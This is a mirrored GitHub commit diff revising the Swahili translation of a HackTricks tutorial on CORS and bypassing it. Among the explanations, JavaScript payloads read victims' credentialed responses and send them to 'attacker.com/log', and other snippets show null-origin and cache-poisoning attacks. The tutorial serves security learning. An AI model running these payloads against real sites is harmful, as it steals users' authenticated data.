mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 22:52:06 +00:00
Translated ['pentesting-web/cors-bypass.md'] to sw
This commit is contained in:
parent
bb43055b91
commit
b2acd21fcd
1 changed files with 67 additions and 66 deletions
|
@ -6,7 +6,7 @@
|
|||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -20,9 +20,9 @@ Mkataba wa Kugawana Rasilmali kati ya Mipaka (CORS) **inaruhusu seva kuamua ni n
|
|||
|
||||
Sera ya **asili sawa** inahitaji kwamba **seva inayotaka** rasilimali na seva inayohifadhi **rasilimali** washiriki itifaki sawa (k.m., `http://`), jina la kikoa (k.m., `internal-web.com`), na **bandari** (k.m., 80). Chini ya sera hii, kurasa za wavuti kutoka kwa kikoa na bandari sawa tu ndio zinaruhusiwa kupata rasilimali.
|
||||
|
||||
Matumizi ya sera sawa ya asili katika muktadha wa `http://normal-website.com/example/example.html` inaonyeshwa kama ifuatavyo:
|
||||
Matumizi ya sera ya asili sawa katika muktadha wa `http://normal-website.com/example/example.html` inaonyeshwa kama ifuatavyo:
|
||||
|
||||
| URL iliyopatikana | Kupatikana kuruhusiwa? |
|
||||
| URL iliyopatikana | Kupatikana? |
|
||||
| ----------------------------------------- | --------------------------------------- |
|
||||
| `http://normal-website.com/example/` | Ndiyo: Itifaki, kikoa, na bandari sawa |
|
||||
| `http://normal-website.com/example2/` | Ndiyo: Itifaki, kikoa, na bandari sawa |
|
||||
|
@ -31,17 +31,17 @@ Matumizi ya sera sawa ya asili katika muktadha wa `http://normal-website.com/exa
|
|||
| `http://www.normal-website.com/example/` | Hapana: Kikoa tofauti |
|
||||
| `http://normal-website.com:8080/example/` | Hapana: Bandari tofauti\* |
|
||||
|
||||
\*Internet Explorer haizingatii nambari ya bandari katika kutekeleza sera sawa ya asili, hivyo kuruhusu ufikiaji huu.
|
||||
\*Internet Explorer haizingatii nambari ya bandari katika kutekeleza sera ya asili sawa, hivyo kuruhusu ufikiaji huu.
|
||||
|
||||
### Kichwa cha `Access-Control-Allow-Origin`
|
||||
|
||||
Kichwa hiki kinaweza kuruhusu **mizizi mingi**, thamani ya **`null`**, au alama ya mwitikio wa **`*`**. Walakini, **kivinjari hakisaidii mizizi mingi**, na matumizi ya alama ya mwitikio wa `*` yanategemea **vizuizi**. (Alama ya mwitikio wa `*` inapaswa kutumika peke yake, na matumizi yake pamoja na `Access-Control-Allow-Credentials: true` hayaruhusiwi.)
|
||||
Kichwa hiki kinaweza kuruhusu **mizizi mingi**, thamani ya **`null`**, au alama ya mwitikio **`*`**. Walakini, **kivinjari hakisaidii mizizi mingi**, na matumizi ya alama ya mwitikio `*` yanategemea **vizuizi**. (Alama ya mwitikio inapaswa kutumika peke yake, na matumizi yake pamoja na `Access-Control-Allow-Credentials: true` hayaruhusiwi.)
|
||||
|
||||
Kichwa hiki **hutolewa na seva** kujibu ombi la rasilimali kati ya mipaka lililoanzishwa na wavuti, na kivinjari kiotomatiki huongeza kichwa cha `Origin`.
|
||||
|
||||
### Kichwa cha `Access-Control-Allow-Credentials`
|
||||
|
||||
Kwa **chaguo-msingi**, maombi ya mipaka ya kuvuka hufanywa bila sifa kama vidakuzi au kichwa cha Uthibitishaji. Walakini, seva ya mipaka ya kuvuka inaweza kuruhusu kusoma kwa jibu wakati sifa zinatumwa kwa kuweka kichwa cha `Access-Control-Allow-Credentials` kuwa **`kweli`**.
|
||||
Kwa **chaguo-msingi**, maombi kati ya mipaka hufanywa bila sifa kama vidakuzi au kichwa cha Uthibitishaji. Walakini, seva kati ya mipaka inaweza kuruhusu kusoma kwa jibu wakati sifa zinatumwa kwa kuweka kichwa cha `Access-Control-Allow-Credentials` kuwa **`kweli`**.
|
||||
|
||||
Ikiwa imewekwa kuwa `kweli`, kivinjari kitatuma sifa (vidakuzi, vichwa vya uthibitishaji, au vyeti vya mteja vya TLS).
|
||||
```javascript
|
||||
|
@ -72,15 +72,15 @@ xhr.send('<person><name>Arun</name></person>');
|
|||
```
|
||||
### Ombi la CSRF la kabla ya safari
|
||||
|
||||
### Kuelewa Maombi ya Kabla ya Safari katika Mawasiliano ya Mikoa Tofauti
|
||||
### Kuelewa Maombi ya Kabla ya Safari katika Mawasiliano ya Kuvuka-Domeini
|
||||
|
||||
Unapoanzisha ombi la msalaba-mikoa chini ya hali maalum, kama kutumia **njia ya HTTP isiyo ya kawaida** (chochote kisichokuwa HEAD, GET, POST), kuingiza **vichwa vipya**, au kutumia thamani maalum ya **kichwa cha Aina ya Yaliyomo**, ombi la kabla ya safari linaweza kuhitajika. Ombi hili la awali, likitumia njia ya **`OPTIONS`**, hutumika kumjulisha seva nia ya ombi la msalaba-mwanzo linalokuja, ikiwa ni pamoja na njia za HTTP na vichwa itakavyotumia.
|
||||
Unapoanzisha ombi la kuvuka-domeini chini ya hali maalum, kama kutumia **njia ya HTTP isiyo ya kawaida** (chochote kisichokuwa HEAD, GET, POST), kuongeza **vichwa vipya**, au kutumia thamani maalum ya **kichwa cha Aina ya Yaliyomo**, ombi la kabla ya safari linaweza kuhitajika. Ombi hili la awali, likitumia njia ya **`OPTIONS`**, hutumika kumjulisha seva nia za ombi la kuvuka asili linalokuja, ikiwa ni pamoja na njia za HTTP na vichwa itakavyotumia.
|
||||
|
||||
Itifaki ya **Kugawana Rasilmali kwa Mawasiliano ya Mipaka (CORS)** inahitaji ukaguzi huu wa kabla ya safari ili kubaini uwezekano wa operesheni ya msalaba-mwanzo iliyotakiwa kwa kuthibitisha njia zilizoruhusiwa, vichwa, na uaminifu wa asili. Ili kuelewa kwa undani ni hali gani zinazopuuza haja ya ombi la kabla ya safari, tazama mwongozo kamili uliotolewa na [**Mozilla Developer Network (MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests).
|
||||
Itifaki ya **Kugawana Rasilmali kwa Kuvuka-Mizizi (CORS)** inahitaji ukaguzi huu wa kabla ya safari ili kubaini uwezekano wa operesheni ya kuvuka asili iliyotakiwa kwa kuthibitisha njia zilizoruhusiwa, vichwa, na uaminifu wa asili. Kwa uelewa wa kina wa hali zipi zinazopuuza haja ya ombi la kabla ya safari, tazama mwongozo kamili uliotolewa na [**Mozilla Developer Network (MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests).
|
||||
|
||||
Ni muhimu kuzingatia kwamba **ukosefu wa ombi la kabla ya safari haimaanishi kwamba jibu halihitaji kubeba vichwa vya idhini**. Bila vichwa hivi, kivinjari kinashindwa kusindika jibu kutoka kwa ombi la msalaba-mwanzo.
|
||||
Ni muhimu kutambua kwamba **ukosefu wa ombi la kabla ya safari haimaanishi kwamba jibu halihitaji kubeba vichwa vya idhini**. Bila vichwa hivi, kivinjari kimelemazwa katika uwezo wake wa kusindika jibu kutoka kwa ombi la kuvuka asili.
|
||||
|
||||
Chukua mfano ufuatao wa ombi la kabla ya safari linalolenga kutumia njia ya `PUT` pamoja na kichwa cha desturi kilichoitwa `Special-Request-Header`:
|
||||
Chukua mfano ufuatao wa ombi la kabla ya safari lililolenga kutumia njia ya `PUT` pamoja na kichwa cha desturi kilichoitwa `Special-Request-Header`:
|
||||
```
|
||||
OPTIONS /info HTTP/1.1
|
||||
Host: example2.com
|
||||
|
@ -100,21 +100,21 @@ Access-Control-Allow-Credentials: true
|
|||
Access-Control-Max-Age: 240
|
||||
```
|
||||
* **`Access-Control-Allow-Headers`**: Kichwa hiki hufafanua ni vichwa vipi vinaweza kutumika wakati wa ombi halisi. Kinasanidiwa na seva kuonyesha vichwa vilivyoidhinishwa katika maombi kutoka kwa mteja.
|
||||
* **`Access-Control-Expose-Headers`**: Kupitia kichwa hiki, seva inaarifu mteja ni vichwa vipi vinaweza kuwekwa wazi kama sehemu ya majibu isipokuwa vichwa vya majibu ya kawaida.
|
||||
* **`Access-Control-Expose-Headers`**: Kupitia kichwa hiki, seva inaarifu mteja ni vichwa vipi vinaweza kuwekwa wazi kama sehemu ya majibu mbali na vichwa vya majibu ya kawaida.
|
||||
* **`Access-Control-Max-Age`**: Kichwa hiki kinaonyesha muda gani matokeo ya ombi la awali yanaweza kuhifadhiwa. Seva inaweka muda wa kikomo, kwa sekunde, ambapo habari iliyorudishwa na ombi la awali inaweza kutumika tena.
|
||||
* **`Access-Control-Request-Headers`**: Kutumika katika maombi ya awali, kichwa hiki kinasanidiwa na mteja kuarifu seva ni vichwa vya HTTP ambavyo mteja anataka kutumia katika ombi halisi.
|
||||
* **`Access-Control-Request-Headers`**: Kutumika katika maombi ya awali, kichwa hiki kinasanidiwa na mteja kuarifu seva ni vichwa vya HTTP vipi mteja anataka kutumia katika ombi halisi.
|
||||
* **`Access-Control-Request-Method`**: Kichwa hiki, pia kutumika katika maombi ya awali, kinasanidiwa na mteja kuonyesha ni njia ipi ya HTTP itatumika katika ombi halisi.
|
||||
* **`Origin`**: Kichwa hiki kinasanidiwa moja kwa moja na kivinjari na kuonyesha asili ya ombi la msingi wa msalaba-mzizi. Hutumiwa na seva kutathmini ikiwa ombi linalokuja linapaswa kuruhusiwa au kukataliwa kulingana na sera ya CORS.
|
||||
* **`Origin`**: Kichwa hiki kinasanidiwa moja kwa moja na kivinjari na kuonyesha asili ya ombi la msingi wa msalaba mipaka. Hutumiwa na seva kutathmini ikiwa ombi linalokuja linapaswa kuruhusiwa au kukataliwa kulingana na sera ya CORS.
|
||||
|
||||
Tafadhali kumbuka kwamba kawaida (kulingana na aina ya yaliyomo na vichwa vilivyosanidiwa) katika ombi la **GET/POST hakuna ombi la awali linalotumwa** (ombi linatumiwa **moja kwa moja**), lakini ikiwa unataka kupata **vichwa/mwili wa majibu**, lazima iwe na kichwa cha _Access-Control-Allow-Origin_ kuruhusu hilo.\
|
||||
Tambua kwamba kawaida (kulingana na aina ya yaliyomo na vichwa vilivyosanidiwa) katika ombi la **GET/POST hakuna ombi la awali linalotumwa** (ombi linatumwa **moja kwa moja**), lakini ikiwa unataka kupata **vichwa/mwili wa majibu**, lazima iwe na kichwa cha _Access-Control-Allow-Origin_ kuruhusu hilo.\
|
||||
**Hivyo basi, CORS haitoi ulinzi dhidi ya CSRF (ingawa inaweza kuwa na manufaa).**
|
||||
|
||||
### **Ombi la Awali la Mtandao wa Ndani**
|
||||
|
||||
1. **`Access-Control-Request-Local-Network`**: Kichwa hiki kinaingizwa katika ombi la mteja kumaanisha kuwa uchunguzi unalenga rasilimali ya mtandao wa ndani. Hutumika kama ishara kuarifu seva kuwa ombi linatoka ndani ya mtandao wa ndani.
|
||||
2. **`Access-Control-Allow-Local-Network`**: Kama jibu, seva hutumia kichwa hiki kuwasiliana kwamba rasilimali iliyotakiwa inaruhusiwa kushirikishwa na vyama nje ya mtandao wa ndani. Hufanya kama taa ya kijani kwa kushirikisha rasilimali kati ya mipaka tofauti ya mtandao, ikidumisha ufikiaji uliodhibitiwa wakati wa kudumisha itifaki za usalama.
|
||||
2. **`Access-Control-Allow-Local-Network`**: Kama jibu, seva hutumia kichwa hiki kuwasiliana kwamba rasilimali iliyoombwa inaruhusiwa kushirikishwa na vyama nje ya mtandao wa ndani. Hufanya kama taa ya kijani kwa kushirikisha rasilimali kati ya mipaka tofauti ya mtandao, ikidumisha ufikiaji uliodhibitiwa wakati wa kudumisha itifaki za usalama.
|
||||
|
||||
**Jibu halali linaloruhusu ombi la mtandao wa ndani** linapaswa pia kuwa na kichwa `Access-Controls-Allow-Local_network: true`:
|
||||
**Jibu halali linaloruhusu ombi la mtandao wa ndani** lazima pia liwe na kichwa `Access-Controls-Allow-Local_network: true`:
|
||||
```
|
||||
HTTP/1.1 200 OK
|
||||
...
|
||||
|
@ -126,14 +126,14 @@ Content-Length: 0
|
|||
...
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
Tafadhali kumbuka kuwa IP ya linux **0.0.0.0** inafanya kazi kwa **kupita** mahitaji haya ili kupata ufikiaji wa localhost kwa sababu anwani hiyo ya IP haichukuliwi kuwa "ya ndani".
|
||||
Tafadhali kumbuka kuwa IP ya linux **0.0.0.0** inafanya kazi kwa **kupita** mahitaji haya ya kufikia localhost kwa sababu anwani hiyo ya IP haichukuliwi "ya ndani".
|
||||
|
||||
Pia ni pamoja na **kupita mahitaji ya Mtandao wa Ndani** ikiwa unatumia **anwani ya IP ya umma ya mwisho** (kama vile anwani ya IP ya router). Kwa sababu katika matukio kadhaa, hata kama **anwani ya IP ya umma** inafikiwa, ikiwa ni **kutoka kwenye mtandao wa ndani**, ufikiaji utapewa.
|
||||
{% endhint %}
|
||||
|
||||
## Mipangilio Inayoweza Kudukuliwa
|
||||
|
||||
Imeonekana kuwa kuweka `Access-Control-Allow-Credentials` kuwa **`kweli`** ni sharti la msingi kwa **mashambulizi halisi** mengi. Mipangilio hii inaruhusu kivinjari kutuma vitambulisho na kusoma majibu, ikiboresha ufanisi wa shambulio. Bila hii, faida ya kufanya kivinjari itoe ombi badala ya kufanya mwenyewe hupungua, kwani kutumia vidakuzi vya mtumiaji kunakuwa sio jambo la kufanyika.
|
||||
Imeonekana kuwa kuweka `Access-Control-Allow-Credentials` kuwa **`kweli`** ni sharti kwa **mashambulizi halisi** mengi. Mipangilio hii inaruhusu kivinjari kutuma vitambulisho na kusoma majibu, ikiboresha ufanisi wa shambulio. Bila hii, faida ya kufanya kivinjari itoe ombi badala ya kufanya mwenyewe hupungua, kwani kutumia vidakuzi vya mtumiaji kunakuwa sio jambo la kufanyika.
|
||||
|
||||
### Ubunifu: Kutumia Mahali pa Mtandao kama Uthibitisho
|
||||
|
||||
|
@ -141,7 +141,7 @@ Kuna ubunifu ambapo mahali pa mtandao wa mwathiriwa unafanya kama aina fulani ya
|
|||
|
||||
### Kutafakari `Origin` katika `Access-Control-Allow-Origin`
|
||||
|
||||
Hali halisi ambapo thamani ya kichwa cha `Origin` inatafakariwa katika `Access-Control-Allow-Origin` ni nadra kwa nadharia kutokana na vizuizi vya kuunganisha vichwa hivi. Hata hivyo, watengenezaji wanaotaka kuwezesha CORS kwa URL nyingi wanaweza kuzalisha kichwa cha `Access-Control-Allow-Origin` kwa kuchukua thamani ya kichwa cha `Origin`. Mbinu hii inaweza kuleta mapungufu, hasa wakati mshambuliaji anatumia kikoa chenye jina lililoundwa kuonekana halali, hivyo kudanganya mantiki ya uthibitisho.
|
||||
Hali halisi ambapo thamani ya kichwa cha `Origin` inatafakariwa katika `Access-Control-Allow-Origin` kimsingi ni nadra kutokana na vizuizi vya kuunganisha vichwa hivi. Hata hivyo, watengenezaji wanaotaka kuwezesha CORS kwa URL nyingi wanaweza kuzalisha kwa njia ya kudharura kichwa cha `Access-Control-Allow-Origin` kwa kunakili thamani ya kichwa cha `Origin`. Mbinu hii inaweza kuleta mapungufu, hasa wakati mshambuliaji anatumia kikoa chenye jina lililoundwa kuonekana halali, hivyo kudanganya mantiki ya uthibitisho.
|
||||
```html
|
||||
<script>
|
||||
var req = new XMLHttpRequest();
|
||||
|
@ -156,7 +156,7 @@ location='/log?key='+this.responseText;
|
|||
```
|
||||
### Kutumia Asili ya `null`
|
||||
|
||||
Asili ya `null`, iliyotajwa kwa hali kama vile migeuko au faili za HTML za ndani, inashikilia nafasi ya kipekee. Baadhi ya programu huruhusu asili hii kwa ajili ya maendeleo ya ndani, kwa kosa kuruhusu tovuti yoyote kufanya kama asili ya `null` kupitia iframe iliyowekwa kwenye sanduku, hivyo kukiuka vizuizi vya CORS.
|
||||
Asili ya `null`, iliyotajwa kwa hali kama vile migeuko au faili za HTML za ndani, inashikilia nafasi ya kipekee. Baadhi ya programu huruhusu asili hii kwa ajili ya maendeleo ya ndani, kwa kubahatisha kuruhusu tovuti yoyote kufanana na asili ya `null` kupitia kipande cha iframe kilichowekwa kwenye sanduku, hivyo kukiuka vizuizi vya CORS.
|
||||
```html
|
||||
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
|
||||
var req = new XMLHttpRequest();
|
||||
|
@ -184,21 +184,21 @@ location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
|
|||
```
|
||||
### Mbinu za Kupuuza Mipangilio ya Msimbo wa Kawaida
|
||||
|
||||
Uponapoana orodha ya kikoa, ni muhimu kufanya majaribio ya kupuuza, kama vile kuongeza kikoa cha muhusika kwenye kikoa kilichoorodheshwa au kutumia udhaifu wa kuchukua mamlaka ya subdomain. Aidha, mifumo ya kawaida ya kutambua kikoa inaweza kusahau nyakati katika sheria za kutaja majina ya kikoa, hivyo kutoa fursa zaidi za kupuuza.
|
||||
Uponapoana orodha ya kikoa, ni muhimu kujaribu fursa za kupuuza, kama vile kuongeza kikoa cha muhusika kwenye kikoa kilichoorodheshwa au kutumia udhaifu wa kuchukua mamlaka ya subdomain. Aidha, mifumo ya kawaida ya kutambua kikoa inaweza kusahau maelezo madogo katika sheria za uteuzi wa majina ya kikoa, hivyo kutoa fursa zaidi za kupuuza.
|
||||
|
||||
### Mbinu za Kupuuza Msimbo wa Kawaida wa Kielelezo
|
||||
|
||||
Mifumo ya Regex kawaida inazingatia wahusika wa alfa-namba, dot (.), na hyphen (-), ikisahau uwezekano mwingine. Kwa mfano, jina la kikoa lililoundwa kujumuisha wahusika wanaotafsiriwa tofauti na vivinjari na mifumo ya Regex inaweza kupuuza ukaguzi wa usalama. Namna Safari, Chrome, na Firefox vinavyoshughulikia wahusika wa chini wa subdomains inaonyesha jinsi tofauti hizo zinavyoweza kutumika kuzunguka mantiki ya uthibitishaji wa kikoa.
|
||||
Mifumo ya Regex kawaida inazingatia herufi za alfa-numeriki, dot (.), na hyphen (-), ikisahau uwezekano mwingine. Kwa mfano, jina la kikoa lililoundwa kujumuisha herufi zinazotafsiriwa tofauti na vivinjari na mifumo ya Regex inaweza kupuuza ukaguzi wa usalama. Namna Safari, Chrome, na Firefox vinavyoshughulikia herufi za chini (underscore) katika subdomains inaonyesha jinsi tofauti kama hizo zinavyoweza kutumika kuzunguka mantiki ya uthibitishaji wa kikoa.
|
||||
|
||||
**Kwa habari zaidi na mipangilio ya ukaguzi huu wa kupuuza:** [**https://www.corben.io/advanced-cors-techniques/**](https://www.corben.io/advanced-cors-techniques/) **na** [**https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397**](https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397)
|
||||
|
||||
![https://miro.medium.com/v2/resize:fit:720/format:webp/1\*rolEK39-DDxeBgSq6KLKAA.png](<../.gitbook/assets/image (153).png>)
|
||||
|
||||
### Kutoka XSS ndani ya subdomain
|
||||
### Kutoka XSS ndani ya Subdomain
|
||||
|
||||
Wabunifu mara nyingi hutekeleza mifumo ya ulinzi kulinda dhidi ya unyanyasaji wa CORS kwa kuorodhesha kikoa kinachoruhusiwa kuomba habari. Licha ya tahadhari hizi, usalama wa mfumo si wa uhakika. Kuwepo hata wa subdomain moja yenye udhaifu ndani ya vikoa vilivyoorodheshwa kunaweza kufungua mlango wa unyanyasaji wa CORS kupitia udhaifu mwingine, kama vile XSS (Udukuzi wa Tovuti za Msalaba).
|
||||
Wabunifu mara nyingi hutekeleza mifumo ya ulinzi kulinda dhidi ya unyanyasaji wa CORS kwa kuorodhesha kikoa kinachoruhusiwa kuomba habari. Licha ya tahadhari hizi, usalama wa mfumo si wa uhakika. Kuwepo hata wa subdomain moja yenye udhaifu ndani ya vikoa vilivyoorodheshwa kunaweza kufungua mlango wa unyanyasaji wa CORS kupitia udhaifu mwingine, kama vile XSS (Udukuzi wa Kuvuka Tovuti).
|
||||
|
||||
Kwa mfano, fikiria hali ambapo kikoa, `requester.com`, kimeorodheshwa kuruhusu kupata rasilimali kutoka kikoa kingine, `provider.com`. Mipangilio ya upande wa seva inaweza kuonekana kama hii:
|
||||
Kwa mfano, fikiria hali ambapo kikoa, `requester.com`, kimeorodheshwa kuruhusu kupata rasilimali kutoka kikoa kingine, `provider.com`. Mipangilio ya upande wa seva inaweza kuonekana kama ifuatavyo:
|
||||
```javascript
|
||||
if ($_SERVER['HTTP_HOST'] == '*.requester.com') {
|
||||
// Access data
|
||||
|
@ -212,7 +212,7 @@ Katika hali hii, subdomains zote za `requester.com` zinaruhusiwa kupata upatikan
|
|||
|
||||
[**Kutoka kwa utafiti huu**](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)
|
||||
|
||||
Kuna uwezekano wa kudanganya cache upande wa seva kupitia kuingiza kichwa cha HTTP, udhaifu wa Stored Cross-Site Scripting (XSS) unaweza kusababishwa. Hali hii inatokea wakati programu inashindwa kusafisha kichwa cha `Origin` kwa herufi haramu, ikiumba udhaifu hasa kwa watumiaji wa Internet Explorer na Edge. Vivinjari hivi vinachukulia (0x0d) kama mwisho halali wa kichwa cha HTTP, ikisababisha udhaifu wa kuingiza kichwa cha HTTP.
|
||||
Kuna uwezekano wa kudanganya cache upande wa seva kupitia kuingiza kichwa cha HTTP, udhaifu wa Stored Cross-Site Scripting (XSS) unaweza kusababishwa. Hali hii inatokea wakati programu inashindwa kusafisha kichwa cha `Origin` kwa herufi haramu, ikiumba udhaifu hasa kwa watumiaji wa Internet Explorer na Edge. Vivinjari hivi vinachukulia (0x0d) kama kifaa halali cha kumaliza kichwa cha HTTP, ikisababisha udhaifu wa kuingiza kichwa cha HTTP.
|
||||
|
||||
Zingatia ombi lifuatalo ambapo kichwa cha `Origin` kimebadilishwa:
|
||||
```
|
||||
|
@ -225,7 +225,7 @@ HTTP/1.1 200 OK
|
|||
Access-Control-Allow-Origin: z
|
||||
Content-Type: text/html; charset=UTF-7
|
||||
```
|
||||
Wakati wa kudukua udhaifu huu moja kwa moja kwa kufanya kivinjari cha wavuti kutuma kichwa kilichoharibika sio jambo linalowezekana, ombi lililoundwa kwa makini linaweza kuzalishwa kwa mkono kwa kutumia zana kama Burp Suite. Njia hii inaweza kusababisha cache ya upande wa seva kuokoa jibu na kwa bahati mbaya kulitumikia kwa wengine. Mzigo ulioandaliwa lengo lake ni kubadilisha seti ya herufi ya ukurasa kuwa UTF-7, nambari ya herufi mara nyingi inayohusishwa na udhaifu wa XSS kutokana na uwezo wake wa kuweka herufi kwa njia ambayo inaweza kutekelezwa kama script katika muktadha fulani.
|
||||
Wakati wa kudukua udhaifu huu moja kwa moja kwa kufanya kivinjari cha wavuti kutuma kichwa kilichoharibika sio jambo linalowezekana, ombi lililoundwa kwa makini linaweza kuzalishwa kwa mkono kwa kutumia zana kama Burp Suite. Njia hii inaweza kusababisha cache ya upande wa seva kuokoa jibu na kulisambaza kwa wengine kwa bahati mbaya. Mzigo ulioandaliwa lengo lake ni kubadilisha seti ya herufi ya ukurasa kuwa UTF-7, nambari ya kuweka herufi mara nyingi inayohusishwa na udhaifu wa XSS kutokana na uwezo wake wa kuweka herufi kwa njia ambayo inaweza kutekelezwa kama script katika muktadha fulani.
|
||||
|
||||
Kwa kusoma zaidi kuhusu udhaifu wa XSS uliowekwa, angalia [PortSwigger](https://portswigger.net/web-security/cross-site-scripting/stored).
|
||||
|
||||
|
@ -237,9 +237,9 @@ Kwa kusoma zaidi kuhusu udhaifu wa XSS uliowekwa, angalia [PortSwigger](https://
|
|||
|
||||
Katika hali hii, kipengele cha ukurasa wa wavuti kinachoonyesha maudhui ya kichwa cha HTTP cha desturi bila usimbaji sahihi kinaonekana. Kwa usahihi, ukurasa wa wavuti unarudisha nyuma maudhui yaliyomo kwenye kichwa cha `X-User-id`, ambacho kinaweza kuwa na JavaScript mbaya, kama inavyodhihirishwa na mfano ambapo kichwa kina picha ya SVG iliyoundwa kutekeleza msimbo wa JavaScript wakati wa kupakia.
|
||||
|
||||
Sera za Kugawana Rasilmali kati ya Mito (CORS) huruhusu kutuma vichwa vya desturi. Walakini, bila jibu kutolewa moja kwa moja na kivinjari kutokana na vizuizi vya CORS, matumizi ya kuingiza kama hilo yanaweza kuonekana kuwa na kikomo. Hatua muhimu inatokea wakati wa kuzingatia tabia ya cache ya kivinjari. Ikiwa kichwa cha `Vary: Origin` hakijatajwa, inawezekana kwa jibu la uovu kuhifadhiwa kwenye cache ya kivinjari. Baadaye, jibu hili lililohifadhiwa linaweza kuonyeshwa moja kwa moja wakati wa kutembelea URL, kwa kuvuka haja ya uonyeshaji moja kwa moja wakati wa ombi la awali. Mfumo huu unaimarisha uaminifu wa shambulio kwa kutumia cache ya upande wa mteja.
|
||||
Sera za Kugawana Rasmi za Rasmi (CORS) huruhusu kutuma vichwa vya desturi. Walakini, bila jibu kutolewa moja kwa moja na kivinjari kutokana na vizuizi vya CORS, matumizi ya sindano kama hiyo yanaweza kuonekana kuwa na kikomo. Hatua muhimu inatokea wakati wa kuzingatia tabia ya cache ya kivinjari. Ikiwa kichwa cha `Vary: Origin` hakijatajwa, inawezekana kwa jibu la uovu kuhifadhiwa kwenye cache ya kivinjari. Baadaye, jibu hili lililohifadhiwa linaweza kuonyeshwa moja kwa moja wakati wa kutembelea URL, ikipuuza haja ya kuonyesha moja kwa moja wakati wa ombi la awali. Mfumo huu unaimarisha uaminifu wa shambulio kwa kutumia cache ya upande wa mteja.
|
||||
|
||||
Kuonyesha shambulio hili, mfano wa JavaScript umetolewa, ulioundwa kutekelezwa katika mazingira ya ukurasa wa wavuti, kama vile kupitia JSFiddle. Skripti hii inatekeleza hatua rahisi: inatuma ombi kwa URL iliyospecifikwa na kichwa cha desturi kinachojumuisha JavaScript mbaya. Baada ya kukamilisha ombi kwa mafanikio, inajaribu kutembea kwenye URL ya lengo, ikisababisha utekelezaji wa script iliyopachikwa ikiwa jibu limehifadhiwa bila kushughulikiwa kwa kichwa cha `Vary: Origin`.
|
||||
Kuonyesha shambulio hili, mfano wa JavaScript unatolewa, ulioundwa kutekelezwa katika mazingira ya ukurasa wa wavuti, kama vile kupitia JSFiddle. Skripti hii inatekeleza hatua rahisi: inatuma ombi kwa URL iliyospecifikwa na kichwa cha desturi kinachojumuisha JavaScript mbaya. Baada ya kukamilisha ombi kwa mafanikio, inajaribu kutembelea URL ya lengo, ikisababisha utekelezaji wa msimbo uliingizwa ikiwa jibu limehifadhiwa bila kushughulikiwa kwa kichwa cha `Vary: Origin`.
|
||||
|
||||
Hapa kuna maelezo mafupi ya JavaScript uliotumika kutekeleza shambulio hili:
|
||||
```html
|
||||
|
@ -255,30 +255,30 @@ req.send();
|
|||
```
|
||||
## Kupita
|
||||
|
||||
### XSSI (Unganuzi wa Skripti wa Tovuti) / JSONP
|
||||
### XSSI (Unganishaji wa Skripti wa Tovuti) / JSONP
|
||||
|
||||
XSSI, inayojulikana pia kama Unganuzi wa Skripti wa Tovuti, ni aina ya udhaifu ambao unatumia ukweli kwamba Sera ya Asili Sawa (SOP) haitekelezwi wakati wa kuingiza rasilimali kwa kutumia lebo ya skripti. Hii ni kwa sababu skripti inahitaji kuweza kuingizwa kutoka kwa uwanja tofauti. Udhaifu huu huruhusu mshambuliaji kupata na kusoma yaliyomo yoyote yaliyokuwa yamejumuishwa kwa kutumia lebo ya skripti.
|
||||
XSSI, inayojulikana pia kama Unganishaji wa Skripti wa Tovuti, ni aina ya udhaifu ambao unatumia ukweli kwamba Sera ya Asili Sawa (SOP) haitekelezwi wakati wa kuingiza rasilimali kwa kutumia lebo ya skripti. Hii ni kwa sababu skripti inahitaji kuweza kuingizwa kutoka kwa uwanja tofauti. Udhaifu huu huruhusu mshambuliaji kupata na kusoma yaliyomo yoyote yaliyokuwa yamejumuishwa kwa kutumia lebo ya skripti.
|
||||
|
||||
Udhaifu huu unakuwa muhimu hasa linapokuja suala la JavaScript ya kudumu au JSONP (JSON na Padding), hasa wakati habari ya mamlaka ya mazingira kama vidakuzi inatumika kwa uthibitishaji. Wakati unapoomba rasilimali kutoka kwa mwenyeji tofauti, vidakuzi hujumuishwa, ikiruhusu mshambuliaji kufikia.
|
||||
Udhaifu huu unakuwa muhimu hasa linapokuja suala la JavaScript ya kudumu au JSONP (JSON na Padding), hasa wakati habari za mamlaka ya mazingira kama vidakuzi vinatumika kwa uthibitishaji. Wakati unapoomba rasilimali kutoka kwa mwenyeji tofauti, vidakuzi huwa ni sehemu ya ombi, hivyo kufanya iwezekane kwa mshambuliaji kuvifikia.
|
||||
|
||||
Ili kuelewa vizuri na kupunguza udhaifu huu, unaweza kutumia programu-jalizi ya BurpSuite inayopatikana kwenye [https://github.com/kapytein/jsonp](https://github.com/kapytein/jsonp). Programu-jalizi hii inaweza kusaidia kutambua na kushughulikia udhaifu wa XSSI katika maombi yako ya wavuti.
|
||||
|
||||
[**Soma zaidi kuhusu aina tofauti za XSSI na jinsi ya kuzitumia hapa.**](xssi-cross-site-script-inclusion.md)
|
||||
|
||||
